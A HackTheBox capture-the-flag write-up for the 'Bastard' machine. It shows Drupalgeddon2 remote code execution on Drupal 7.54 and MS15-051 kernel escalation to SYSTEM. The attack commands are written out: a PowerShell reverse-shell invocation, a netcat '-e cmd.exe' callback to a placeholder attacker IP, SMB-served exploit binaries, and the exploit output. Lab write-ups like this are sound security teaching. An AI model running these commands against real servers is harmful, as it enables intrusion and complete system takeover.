# Bastard Writeup - HackTheBox

> Windows machine exploited via Drupal RCE (CVE-2018-7600), followed by privilege escalation using MS15-051 kernel exploit to gain SYSTEM access.

- **URL:** https://hackindex.io/writeups/bastard
- **Platform:** HackTheBox
- **Difficulty:** Medium
- **Operating system:** Windows
- **Machine:** https://app.hackthebox.com/machines/bastard?sort_by=created_at&sort_type=desc
- **Tags:** rce, drupal, privilege-escalation, kernel-exploit, information-disclosure, cve-2015-1701, cve-2018-7600
- **Authors:** [Mohammad Meraj](https://hackindex.io/authors/mohammad-meraj.md)
- **Published:** 2026-08-17
- **Updated:** 2026-08-17

Bastard is a Windows box running Drupal 7 on IIS. The chain runs: a changelog file that pins the exact Drupal version, unauthenticated remote code execution through Drupalgeddon2, and a Windows Server 2008 R2 install with zero hotfixes that falls to the MS15-051 kernel exploit for SYSTEM.

## Reconnaissance

### Port scan

```bash
rustscan -a $TARGET_IP
# Open $TARGET_IP:80
# Open $TARGET_IP:135
# Open $TARGET_IP:49154
```

```bash
nmap -sCV -T4 -p80,135,49154 $TARGET_IP -oA nmap/nmap
# PORT      STATE SERVICE VERSION
# 80/tcp    open  http    Microsoft IIS httpd 7.5
# |_http-generator: Drupal 7 (http://drupal.org)
# | http-robots.txt: 36 disallowed entries (15 shown)
# | /includes/ /misc/ /modules/ /profiles/ /scripts/
# | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
# | <snip>
# | http-methods:
# |_  Potentially risky methods: TRACE
# |_http-title: Welcome to Bastard | Bastard
# 135/tcp   open  msrpc   Microsoft Windows RPC
# 49154/tcp open  msrpc   Microsoft Windows RPC
# Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

Drupal 7 on IIS 7.5, with RPC on 135 and 49154 offering nothing without credentials. The interesting part is in the robots.txt listing: Drupal ships a `CHANGELOG.txt` in the webroot and it names the exact release.

## Vulnerability Discovery

### Pinning the Drupal version

```bash
curl http://$TARGET_IP/CHANGELOG.txt
# Drupal 7.54, 2017-02-01
# -----------------------
# - Modules are now able to define theme engines (API addition)
# <snip>
```

Drupal 7.54 sits below the 7.58 fix for CVE-2018-7600, better known as Drupalgeddon2. The bug is in the Form API: render array keys starting with `#` arrive from user input and are processed as callbacks, so a crafted parameter on an anonymous form such as the user registration form executes PHP without any authentication.

## Exploitation

### Drupalgeddon2

```bash
python3 exploit.py http://$TARGET_IP/ whoami
# [*] Targeting: http://$TARGET_IP
# [*] Got Build ID: form-Rj1d3tYsD9CI4euGExLT-BAVH3qC1BFV-VuDyySslOI
# [*] Executing command: whoami
#
# --- Command Output ---
# nt authority\iusr
# ----------------------
```

Command execution as `nt authority\iusr`, the IIS anonymous identity. Feeding the same exploit a Base64 encoded PowerShell reverse shell makes it interactive.

### Interactive shell

```bash
python3 exploit.py http://$TARGET_IP/ 'powershell%20-e%20<base64-encoded-payload>'
```

```bash
rlwrap nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49211
# whoami
# nt authority\iusr
```

Foothold as the web identity. The first question on an old Windows target is how far behind the patch level is.

## Privilege Escalation

### Patch level

```powershell
systeminfo
# Host Name:                 BASTARD
# OS Name:                   Microsoft Windows Server 2008 R2 Datacenter
# OS Version:                6.1.7600 N/A Build 7600
# <snip>
# Domain:                    HTB
# Hotfix(s):                 N/A
```

Build 7600 is the original 2008 R2 release with no service pack, and `Hotfix(s): N/A` means nothing has ever been patched. That makes public kernel exploits the shortest path, and MS15-051, CVE-2015-1701, is a reliable one on this build. It abuses a `win32k.sys` flaw to run code in kernel context and hand SYSTEM to a chosen command.

### Delivering the exploit

```bash
wget https://github.com/SecWiki/windows-kernel-exploits/raw/master/MS15-051/MS15-051-KB3045171.zip
```

Instead of finding an upload primitive on the target, an SMB server on the attacking machine serves the exploit and a netcat binary straight from the working directory.

```bash
sudo impacket-smbserver myshare `pwd` -smb2
```

The exploit takes the command to run as its argument, so the first run just confirms the context it produces.

```powershell
\\$ATTACKER_IP\myshare\ms15-051x64.exe "whoami"
# [#] ms15-051 fixed by zcgonvh
# [!] process with pid: 1744 created.
# ==============================
# nt authority\system
```

SYSTEM confirmed. Swapping the argument for a netcat callback turns it into a shell on a second listener.

```powershell
\\$ATTACKER_IP\myshare\ms15-051x64.exe "C:\Windows\System32\cmd.exe /c \\$ATTACKER_IP\myshare\nc64.exe -e cmd.exe $ATTACKER_IP $ATTACKER_PORT"
```

```bash
rlwrap nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49170
# Microsoft Windows [Version 6.1.7600]
#
# C:\inetpub\drupal-7.54>whoami
# nt authority\system
```

SYSTEM shell on the box. Both the web identity and the highest local context are covered.

Related

## References

- [Drupal SA-CORE-2018-002](https://www.drupal.org/sa-core-2018-002) - Official advisory for CVE-2018-7600, the Form API flaw behind Drupalgeddon2.
- [windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits) - Source of the compiled MS15-051 binary used for the SYSTEM escalation.
- [Microsoft advisory for CVE-2015-1701](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2015-1701) - Details the win32k.sys elevation of privilege fixed by MS15-051.